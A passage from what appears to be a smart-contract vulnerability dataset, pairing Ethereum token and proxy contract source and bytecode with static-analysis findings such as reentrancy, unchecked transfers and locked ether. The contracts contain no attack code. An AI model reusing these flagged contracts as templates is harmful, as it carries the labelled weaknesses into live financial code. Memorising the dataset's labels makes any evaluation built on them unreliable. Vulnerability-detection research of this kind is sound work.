613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f80a6bad6bbeb53303249ebc75dc5dbd4faad34d7af7c9dbba04a58949f9e84a64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 345 |
0xF0ea2baf359B597b704935c9E85b4188c3b4a84E | /*
*
* Contract Dependencies:
* - IERC20
* - Owned
* - Proxy
* Libraries: (none)
*/
pragma solidity ^0.5.16;
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// Inheritance
// Internal references
contract Proxyable is Owned {
// This contract should be treated like an abstract contract
/* The proxy this contract exists behind. */
Proxy public proxy;
Proxy public integrationProxy;
/* The caller of the proxy, passed through to this contract.
* Note that every function using this member must apply the onlyProxy or
* optionalProxy modifiers, otherwise their invocations can use stale values. */
address public messageSender;
constructor(address payable _proxy) internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address payable _proxy) external onlyOwner {
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setIntegrationProxy(address payable _integrationProxy) external onlyOwner {
integrationProxy = Proxy(_integrationProxy);
}
function setMessageSender(address sender) external onlyProxy {
messageSender = sender;
}
modifier onlyProxy {
_onlyProxy();
_;
}
function _onlyProxy() private view {
require(Proxy(msg.sender) == proxy || Proxy(msg.sender) == integrationProxy, "Only the proxy can call");
}
modifier optionalProxy {
_optionalProxy();
_;
}
function _optionalProxy() private {
if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
}
modifier optionalProxy_onlyOwner {
_optionalProxy_onlyOwner();
_;
}
// solhint-disable-next-line func-name-mixedcase
function _optionalProxy_onlyOwner() private {
if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
require(messageSender == owner, "Owner only function");
}
event ProxyUpdated(address proxyAddress);
}
// Inheritance
// Internal references
contract Proxy is Owned {
Proxyable public target;
constructor(address _owner) public Owned(_owner) {}
function setTarget(Proxyable _target) external onlyOwner {
target = _target;
emit TargetUpdated(_target);
}
function _emit(
bytes calldata callData,
uint numTopics,
bytes32 topic1,
bytes32 topic2,
bytes32 topic3,
bytes32 topic4
) external onlyTarget {
uint size = callData.length;
bytes memory _callData = callData;
assembly {
/* The first 32 bytes of callData contain its length (as specified by the abi).
* Length is assumed to be a uint256 and therefore maximum of 32 bytes
* in length. It is also leftpadded to be a multiple of 32 bytes.
* This means moving call_data across 32 bytes guarantees we correctly access
* the data itself. */
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
// solhint-disable no-complex-fallback
function() external payable {
// Mutable call setting Proxyable.messageSender as this is using call not delegatecall
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
/* We must explicitly forward ether to the underlying contract as well. */
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) {
revert(free_ptr, returndatasize)
}
return(free_ptr, returndatasize)
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
interface IERC20 {
// ERC20 Optional Views
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
// Views
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
// Mutative functions
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
// Events
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
// Inheritance
contract ProxyERC20 is Proxy, IERC20 {
constructor(address _owner) public Proxy(_owner) {}
// ------------- ERC20 Details ------------- //
function name() public view returns (string memory) {
// Immutable static call from target contract
return IERC20(address(target)).name();
}
function symbol() public view returns (string memory) {
// Immutable static call from target contract
return IERC20(address(target)).symbol();
}
function decimals() public view returns (uint8) {
// Immutable static call from target contract
return IERC20(address(target)).decimals();
}
// ------------- ERC20 Interface ------------- //
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
// Immutable static call from target contract
return IERC20(address(target)).totalSupply();
}
/**
* @dev Gets the balance of the specified address.
* @param account The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address account) public view returns (uint256) {
// Immutable static call from target contract
return IERC20(address(target)).balanceOf(account);
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
// Immutable static call from target contract
return IERC20(address(target)).allowance(owner, spender);
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IERC20(address(target)).transfer(to, value);
// Event emitting will occur via PeriFinance.Proxy._emit()
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IERC20(address(target)).approve(spender, value);
// Event emitting will occur via PeriFinance.Proxy._emit()
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IERC20(address(target)).transferFrom(from, to, value);
// Event emitting will occur via PeriFinance.Proxy._emit()
return true;
}
} | 0x6080604052600436106100f35760003560e01c8063776d1a011161008a57806395d89b411161005957806395d89b4114610647578063a9059cbb146106d7578063d4b839921461074a578063dd62ed3e146107a1576100f3565b8063776d1a01146104d057806379ba5097146105215780638da5cb5b14610538578063907dff971461058f576100f3565b806323b872dd116100c657806323b872dd14610350578063313ce567146103e357806353a47bb71461041457806370a082311461046b576100f3565b806306fdde03146101d1578063095ea7b3146102615780631627540c146102d457806318160ddd14610325575b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bc67f832336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561019457600080fd5b505af11580156101a8573d6000803e3d6000fd5b5050505060405136600082376000803683346002545af13d6000833e806101cd573d82fd5b3d82f35b3480156101dd57600080fd5b506101e6610826565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561022657808201518184015260208101905061020b565b50505050905090810190601f1680156102535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026d57600080fd5b506102ba6004803603604081101561028457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061098e565b604051808215151515815260200191505060405180910390f35b3480156102e057600080fd5b50610323600480360360208110156102f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b38565b005b34801561033157600080fd5b5061033a610be7565b6040518082815260200191505060405180910390f35b34801561035c57600080fd5b506103c96004803603606081101561037357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b3480156103ef57600080fd5b506103f8610e70565b604051808260ff1660ff16815260200191505060405180910390f35b34801561042057600080fd5b50610429610f1a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047757600080fd5b506104ba6004803603602081101561048e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f40565b6040518082815260200191505060405180910390f35b3480156104dc57600080fd5b5061051f600480360360208110156104f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611023565b005b34801561052d57600080fd5b506105366110d2565b005b34801561054457600080fd5b5061054d6112f8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561059b57600080fd5b50610645600480360360c08110156105b257600080fd5b81019080803590602001906401000000008111156105cf57600080fd5b8201836020820111156105e157600080fd5b8035906020019184600183028401116401000000008311171561060357600080fd5b9091929391929390803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919050505061131d565b005b34801561065357600080fd5b5061065c6114a8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561069c578082015181840152602081019050610681565b50505050905090810190601f1680156106c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106e357600080fd5b50610730600480360360408110156106fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611610565b604051808215151515815260200191505060405180910390f35b34801561075657600080fd5b5061075f6117ba565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107ad57600080fd5b50610810600480360360408110156107c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117e0565b6040518082815260200191505060405180910390f35b6060600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b15801561089057600080fd5b505afa1580156108a4573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156108ce57600080fd5b81019080805160405193929190846401000000008211156108ee57600080fd5b8382019150602082018581111561090457600080fd5b825186600182028301116401000000008211171561092157600080fd5b8083526020830192505050908051906020019080838360005b8381101561095557808201518184015260208101905061093a565b50505050905090810190601f1680156109825780820380516001836020036101000a031916815260200191505b50604052505050905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bc67f832336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015610a3157600080fd5b505af1158015610a45573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b384846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610af257600080fd5b505af1158015610b06573d6000803e3d6000fd5b505050506040513d6020811015610b1c57600080fd5b8101908080519060200190929190505050506001905092915050565b610b406118f8565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce2281604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c5157600080fd5b505afa158015610c65573d6000803e3d6000fd5b505050506040513d6020811015610c7b57600080fd5b8101908080519060200190929190505050905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bc67f832336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015610d3457600080fd5b505af1158015610d48573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8585856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610e2957600080fd5b505af1158015610e3d573d6000803e3d6000fd5b505050506040513d6020811015610e5357600080fd5b810190808051906020019092919050505050600190509392505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610eda57600080fd5b505afa158015610eee573d6000803e3d6000fd5b505050506040513d6020811015610f0457600080fd5b8101908080519060200190929190505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610fe157600080fd5b505afa158015610ff5573d6000803e3d6000fd5b505050506040513d602081101561100b57600080fd5b81019080805190602001909291905050509050919050565b61102b6118f8565b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f814250a3b8c79fcbe2ead2c131c952a278491c8f4322a79fe84b5040a810373e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611178576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260358152602001806119a06035913960400191505060405180910390fd5b7fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d7573742062652070726f78792074617267657400000000000000000000000081525060200191505060405180910390fd5b6000878790509050606088888080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509050866000811461145f576001811461146a5760028114611476576003811461148357600481146114915761149c565b8260208301a061149c565b868360208401a161149c565b85878460208501a261149c565b8486888560208601a361149c565b838587898660208701a45b50505050505050505050565b6060600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b15801561151257600080fd5b505afa158015611526573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561155057600080fd5b810190808051604051939291908464010000000082111561157057600080fd5b8382019150602082018581111561158657600080fd5b82518660018202830111640100000000821117156115a357600080fd5b8083526020830192505050908051906020019080838360005b838110156115d75780820151818401526020810190506115bc565b50505050905090810190601f1680156116045780820380516001836020036101000a031916815260200191505b50604052505050905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bc67f832336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1580156116b357600080fd5b505af11580156116c7573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561177457600080fd5b505af1158015611788573d6000803e3d6000fd5b505050506040513d602081101561179e57600080fd5b8101908080519060200190929190505050506001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b1580156118b557600080fd5b505afa1580156118c9573d6000803e3d6000fd5b505050506040513d60208110156118df57600080fd5b8101908080519060200190929190505050905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461199d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f8152602001806119d5602f913960400191505060405180910390fd5b56fe596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e6572736869704f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6ea265627a7a72315820bbee1bc84721367f32a7f0a621aa557bde004a5f056854b8fc4a07bd46995d1664736f6c63430005100032 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 346 |
0xc7e3a415a40e4ae3f3fdfa35e195c796588f3316 | pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BithelloToken is StandardToken, Ownable {
// Constants
string public constant name = "Bithello Token";
string public constant symbol = "BITHELLO";
uint8 public constant decimals = 4;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function BithelloToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
